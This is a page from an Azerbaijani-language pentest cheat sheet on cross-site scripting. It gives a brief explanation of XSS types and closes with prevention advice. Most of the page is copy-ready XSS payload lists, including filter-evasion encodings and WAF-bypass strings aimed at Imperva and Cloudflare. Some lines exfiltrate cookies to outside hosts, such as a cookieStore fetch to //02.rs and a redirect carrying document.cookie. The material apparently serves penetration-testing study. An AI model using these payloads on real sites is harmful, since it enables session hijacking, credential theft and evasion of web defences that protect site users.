Pentest və SOC Cheat Sheet
  • Reconnaissance
  • Post-Explotation
    • Linux Post-Explotation
      • Linux Local Enumeration
      • Linux Privilege Escalation
      • Dumping and cracking hashes on Linux
      • Linux Persistence
    • Windows Post-Explotation
      • Windows Local Enumeration
      • Windows Privilege Escalation
      • Windows Persistence
  • Network Services Pentesting
    • 21-Pentesting FTP
    • 22-Pentesting SSH
    • 23-Pentesting Telnet
    • 53-Pentesting DNS
    • 25,465,587-Pentesting SMTP
    • 110,995-Pentesting POP
    • 139,445-Pentesting SMB
    • 3306-Pentesting MySQL
    • 3389-Pentesting RDP
    • 1433-Pentesting MSSQL-Microsoft SQL Server
    • 389,636,3268,3269-Pentesting LDAP
  • Web Pentesting
    • Broken Access Control
      • Praktiki nümunə
    • OS Command Injection
      • Praktiki nümunə
    • SQL Injection
      • Praktiki nümunə
    • Cross-Site-Scripting (XSS)
      • Praktiki nümunə
    • File Upload
      • Praktiki nümunə
    • Directory Traversal və Path Traversal
      • Praktiki nümunə
    • CSRF
    • XXE
    • Clickjacking
      • Praktiki nümunə
    • SSRF
      • Praktiki nümunə
    • JWT (Json Web Token)
      • Praktiki nümunə
    • Local&Remote File İnclusion
      • Praktiki nümunə
      • Local File inclusion ilə reverse shell almaq
    • 401&403 Bypass
    • Login Bypass
    • Open Redirect
    • Unicode Injection
    • Security Misconfiguration
    • CRLF injection
    • LDAP Injection
    • Cookies Hacking
    • Cross site WebSocket hijacking (CSWSH)
    • SSTI (Server Side Template Injection)
    • CSTI (Client Side Template Injection)
    • XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Hücumları
    • Reverse Tab Nabbing
    • Web Tool - WFuzz
    • XPATH enjeksiyonu
    • Server-Side Includes (SSI) Injection
    • Edge Side Inclusion Injection (ESII)
    • Race Condition
    • PostMessage
    • Parameter Pollution
    • Cache Poisoning and Cache Deception
    • Captcha Bypass
  • AD Pentesting
    • Domain Enumeration
      • PowerView ilə enumeration
      • AD Module ilə enumeration
      • BloodHound ilə enumeration
        • On Site BloodHound
      • Using Adalanche
        • Remote adalanche
      • Useful Enumeration Tools
    • Local Privilege Escalation
      • Useful Local Priv Esc Tools
      • UAC Bypass
    • Lateral Movement
      • Powershell Remoting
      • Mimikatz
      • Remote Desktop Protocol
      • URL File Attacks
      • Useful Tools
    • Domain Privilege Escalation
      • Kerberoast
      • ASREPRoast
      • Password Spray Attack
      • Force Set SPN
      • Abusing Shadow Copies
      • List and Decrypt Stored Credentials using Mimikatz
      • Unconstrained Delegation
      • Constrained Delegation
      • Resource Based Constrained Delegation
      • DNSAdmins Abuse
      • Abusing Active Directory-Integraded DNS (ADIDNS) poisoning
      • Abusing Backup Operators Group
      • SID History Abuse
      • Active Directory Certificate Services
    • Domain Persistence
      • Golden Ticket Attack
      • Silver Ticket Attack
      • Skeleton Key Attack
      • DSRM Abuse
      • DCsync Attack
    • Cross Forest Attacks
      • Trust Tickets
      • Abuse MSSQL Servers
      • Breaking Forest Trusts
  • SOC - Cheat Sheet
    • SOC Nədir?
    • SOC Komponentləri Nələrdir?
    • SOC Checklist
    • SIEM
      • Splunk Qurulması və Konfiqurasiyası
    • IDS/IPS
    • Firewall
    • Firewall qurulması və konfiqurasiyası
    • EDR/XDR
    • SOAR
    • Windows Commands for SOC analysts
      • GUI Programs in Windows
      • Event Viewer
      • Task Scheduler
      • Group Policy Editor
      • Device Manager
      • Task Manager
      • Registry Manager
    • Linux Commands for SOC analysts
    • LOLBAS Apps and Commands
      • Apps and Commands
Powered by GitBook
On this page
  • XSS nədir?
  • XSS-in növləri:
  • Payload Notları və ipucuları
  • Bəzi XSS nümunələri və output-ları:
  • WAF bypass payload
  • Ondblclick xss Payloads
  • XSS Payloads – Bypass Cloudflare
  • Bəzi filtirləmələri bypass etmək
  • Bəzi məhdudiyyətləri bypass etmək
  • XSS-in qarşısını necə almaq olar?

Was this helpful?

  1. Web Pentesting

Cross-Site-Scripting (XSS)

XSS nədir?

Cross-Site Scripting (XSS) veb proqramlarda tez-tez rast gəlinən bir növ təhlükəsizlik zəifliyidir. XSS hücumlarında veb səhifələrə zərərli skriptlər yeridilir və istifadəçilər həmin səhifələrə daxil olduqda, skriptlər onların brauzerlərində icra olunur. Bu, istifadəçi məlumatlarının oğurlanması (giriş etimadnaməsi və ya şəxsi məlumat kimi), səhifə məzmununu manipulyasiya etmək və ya istifadəçiləri zərərli vebsaytlara yönləndirmək kimi müxtəlif zərərli nəticələrə gətirib çıxara bilər. XSS, təcavüzkarlara həmin saytla bərabər kodu yeritməyə və icra etməyə icazə verməklə istifadəçinin müəyyən bir veb-sayta olan etibarından istifadə edir. XSS-in qarşısını almaq üçün developerlər istifadəçi inputunu təsdiq etməli və təmizləməlidir, outputu kodlaşdırmalı və zərərli skriptlərin veb tətbiqlərinə yeridilməsi və icra olunmamasını təmin etmək üçün təhlükəsiz tətbirlərini həyata keçirməlidir.

XSS-in növləri:

Self, Stored, Reflected və DOM əsaslı.

Stored XSS hücumunda zərərli skript həmişəlik olaraq hədəf serverdə, çox vaxt database-də saxlanılır. İstifadəçi yoluxmuş səhifəyə daxil olduqda, skript götürülür və icra edilir, bu, həssas məlumatların potensial oğurlanmasına və ya istifadəçinin adından icazəsiz funksiyaların edilməsinə gətirib çıxarır. Reflected XSS, daxil edilmiş skript URL-nin bir hissəsi olduqda baş verir və server onu dərhal istifadəçinin brauzerində göstərir. Bu hücum növü tez-tez fişinq cəhdlərində istifadə olunur, burada təcavüzkar qurbanı aldadaraq zərərli linkə kliklədir. DOM əsaslı XSS veb-səhifənin Document Obyekt Modelində (DOM) olan zəifliklərdən istifadə edərək, təcavüzkarlara səhifənin strukturunu və funksionallığını manipulyasiya etməyə imkan verir.

XSS hücumlarının qarşısını almaq üçün developerlər lazımi input yoxlaması və output kodlamasını yerinə yetirməliditlər. İnput-un yoxlanılması istifadəçi input-nun gözlənilən meyarlara cavab verməsini təmin edir, output-un kodlaşdırılması isə veb-səhifədə göstərilən istifadəçi tərəfindən təmin edilən hər hansı məlumatın icra edilə bilən kod kimi şərh edilməsinin qarşısını almaq üçün düzgün kodlaşdırılmasını təmin edir. Bundan əlavə, veb proqram firewallları və təhlükəsizlik header-ləri potensial təhlükələri aşkarlamaq və azaltmaqla XSS hücumlarına qarşı əlavə müdafiə qatını təmin edirlər.

Nəticə olaraq, XSS həm istifadəçilər, həm də veb tətbiqləri üçün ciddi nəticələrə səbəb ola biləcək kritik təhlükəsizlik problemidir. Müxtəlif növ XSS hücumlarını anlamaq və effektiv təhlükəsizlik tədbirlərini həyata keçirməklə tərtibatçılar istismar riskini əhəmiyyətli dərəcədə azalda və veb proqramlarının bütövlüyünü qoruya bilərlər. XSS zəifliklərinə qarşı güclü müdafiəni təmin etmək üçün daimi olaraq təhlükəsizlik auditləri və ən son təhlükəsizlik xəbərləri haqda məlumatlı olmaq vacibdir.

Payload Notları və ipucuları

• Bəzi payload-lar axtarışdan sonra səhifədə “> kimi qalıq simvollar buraxa bilər. Siz kodlaşdırmadan istifadə edərək həmin simvollardan qaça bilərsiniz.

• Digərpayload həmçinin siçanı onun üzərinə gətirməklə və ya onlara klikləməklə popup yaradan şəkillərə əlavə oluna bilər.

• Bəzi hallarda, filtrləri bypass etmək üçün paylaod-ın qarşısında null byte, %00 istifadə etmək lazım ola bilər.

• Bu faydalı yükləri həm ikiqat, həm də tək dırnaqlarla sınayın. Biri işləmirsə, digərini sınayın.

Bəzi XSS nümunələri və output-ları:

Nümunə 1 – XXS Popup

Paylaod-lar:

<script>alert("XSS");</script>
<script>alert(‘XSS’);</script>
<script>alert(‘XSS’)</script>
<<script>alert("XSS");//<</script>
<sCripT>alert("XSS")</scRipt>
<scr<script>ipt>alert('XSS')</script>
<sCripT>alert('XSS')</scRipt>
<img src="/" onerror="alert('XSS')"/>
<img src=x onMouseOver=alert('XSS')>
<svg/onload=eval("ale"+"rt")(`XSS${alert`XSS`}`)>
<img src='nevermind' onerror="alert('XSS');" />
<< script>alert("XSS");//<</ script>
<svg/onload=alert('XSS')>
div.innerHTML = '<script deferred>alert("XSS");</script>';
<img src="aaa" onerror=alert('xxs')>
<body onload="alert('XSS')">

Bunları yazdıqdan sonra belə bir output ilə qarşılaşa bilərsiniz

Nümunə 2 – 1 Popup

Paylaod-lar:

<svg/onload=alert(1)>
<svg onload=alert(1)>
</tag><svg onload=alert(1)>
"></tag><svg onload=alert(1)>
</script><svg onload=alert(1)>
“><img onerror=alert(1) src>
<img src='x' onerror='alert(1)'>
"><svg onload=alert(1)>
<script>alert(1)</script>
%00<script>alert(1)</script>
%00<script>alert(1);</script>

XSS-in outputu:

Nümunə 3 – Cookie Popup

Paylaod:

<script>alert(document.cookie);</script>

XSS-in outputu:

Nümunə 4 – Domain Popup

Paylaod-lar:

</Textarea/</Noscript/</Pre/</Xmp><Svg
/Onload=confirm(document.domain)>”
<script/src=//15.rs></script>
<script src=//⑮.₨></script> *

XSS-in outputu:

Nümunə 5 – Blank Popup

Paylaod:

document.createElement('div').innerHTML = "<img src
onerror=alert()>

XSS-in outputu:

Bütün bunların hamısı testphp.vulnweb.com-də test edilib.

WAF bypass payload

Imperva Incapsula:
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E
<img/src="x"/onerror="[JS-F**K Payload]">
<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';><img/src=q onerror='new Function`al\ert\`1\``'>

Ondblclick xss Payloads

<h1 ondblclick=alert`testXSS`>TESTXSS</h1>
<marquee ondblclick=alert`testXSS`>TESTXSS</marquee>
<xss ondblclick="alert`testXSS`" autofocus tabindex=1>testXSS</xss>
<w="/x="y>"/ondblclick=`<`[confir\u006d`testXSS`]>z

XSS Payloads – Bypass Cloudflare

"><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041;
'"><script>alert`test`</script><img src=x onerror=alert`test`>
<svg onx=() onload=(confirm)(1)>
\">'>\"><img/src/onerror=confirm(document.cookie)>
"><details/open/ontoggle=prompt("/test/")>
<a"/onclick=(confirm)(document.cookie)>Click Here! 
//Dec: 
<svg onload=prompt%26%230000000040document.domain)> 
//Hex:
<svg onload=prompt%26%23x000000028;document.domain)>
< svg on onload = ( alert ) ( document.domain ) > r " on onmouseover = ( alert ) ( document.domain ) // r * / eval ?. ( value % 2B / ( / . source ) // " > < input value = confirm autofocus onfocus = ' / * "
<script> onerror=eval,new'\u{22}-alert\u{28}1\u{29}//' </script>
//Dec:
<svg onload=prompt%26%230000000040document.domain)> 
//Hex:
<svg onload=prompt%26%23x000000028;document.domain)>
cookieStore.getAll().then(x=>fetch('//02.rs/'+JSON.stringify(x)))
<div id=x></div> <script> Window.prototype.x.innerHTML='<img src=1 onerror=alert(1)>'; </script>
Window.prototype.__proto__.x.ownerDocument.defaultView.alert(1)</script>
java%0dscrip%0d%1b%1bt:console.log`${location=`https://www.test.com?c=${document.cookie}`}`
x{}</style><xss style="animation-name:x" onanimationend="[].map(alert('xss'))"></xss>> 
<b/style=position:fixed;top:0;left:0;font-size:200px>CSS<

Bəzi filtirləmələri bypass etmək

Unicode:
<script>\u0061lert(1)</script>
<script>\u{61}lert(1)</script>
<script>\u{0000000061}lert(1)</script>
--------------------------------------------------------------------
Hex:
<script>eval('\x61lert(1)')</script>
--------------------------------------------------------------------
HTML:
<svg><script>&#97;lert(1)</script></svg>
<svg><script>&#x61;lert(1)</script></svg>
<svg><script>alert&NewLine;(1)</script></svg>
<svg><script>x="&quot;,alert(1)//";</script></svg>
\’-alert(1)//
--------------------------------------------------------------------
URL:
<a href="javascript:x='%27-alert(1)-%27';">XSS</a>
--------------------------------------------------------------------
Double URL Encode:
%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
%2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
--------------------------------------------------------------------
Unicode + HTML:
<svg><script>&#x5c;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x63;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x34;(1)</script></svg>
--------------------------------------------------------------------
HTML + URL:
<iframe src="javascript:'&#x25;&#x33;&#x43;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x25;&#x33;&#x43;&#x25;&#x32;&#x46;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;'"></iframe>

Bəzi məhdudiyyətləri bypass etmək

Bunlarda mötərizə yoxdur:
<script>onerror=alert;throw 1</script>
<script>throw onerror=eval,'=alert\x281\x29'</script>
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
<script>location='javascript:alert\x281\x29'</script>
<script>alert`1`</script>
<script>new Function`X${document.location.hash.substr`1`}`</script>
--------------------------------------------------------------------
Bunlarda mötərizədə və nöqtəli vergül yoxdur:
<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>
--------------------------------------------------------------------
Mötərizə və boşluq yoxdur:
<script>Function`X${document.location.hash.substr`1`}```</script>
--------------------------------------------------------------------
Bucaq mötərizələri (atributlarda):
“onmouseover=“alert(1)
"onmouseover="alert(1)
‘-alert(1)-’
--------------------------------------------------------------------
Əgər quote silinirsə:
‘}alert(1);{‘
‘}alert(1)%0A{‘
\’}alert(1);{//
--------------------------------------------------------------------
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
--------------------------------------------------------------------
Digər:
<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>: base64 value which is alert(‘XSS’)

XSS-in qarşısını necə almaq olar?

XSS-nin (Cross Site Scripting) qarşısını almaq üçün istifadəçi inpu-unu veb-səhifədə göstərməzdən əvvəl yoxlamaq və dezinfeksiya etmək çox vacibdir. Yalnız gözlənilən və təhlükəsiz məlumatların qəbul edilməsini təmin etmək üçün həm client, həm də server tərəflərində input-un təsdiqindən istifadə edin. Zərərli skriptlərin riskini minimuma endirərək, brauzerdə icra oluna bilən məzmun növlərini məhdudlaşdırmaq üçün məzmun təhlükəsizliyi siyasəti (CSP) header-lərindən istifadə edin. Əlavə olaraq, xüsusi simvolları HTML obyektlərinə çevirərək output-u kodlayın ki, bu da təcavüzkarların zərərli kodu yeritməsini çətinləşdirir. Belə zəiflikləri aradan qaldırmaq üçün veb proqramınızı və server proqramınızı daimi olaraq yeniləyin və patch edin. Bu tədbirləri etməklə siz veb saytınızın XSS hücumlarına qarşı dayanıqlığını əhəmiyyətli dərəcədə artıra bilərsiniz.

PreviousPraktiki nümunəNextPraktiki nümunə

Last updated 1 year ago

Was this helpful?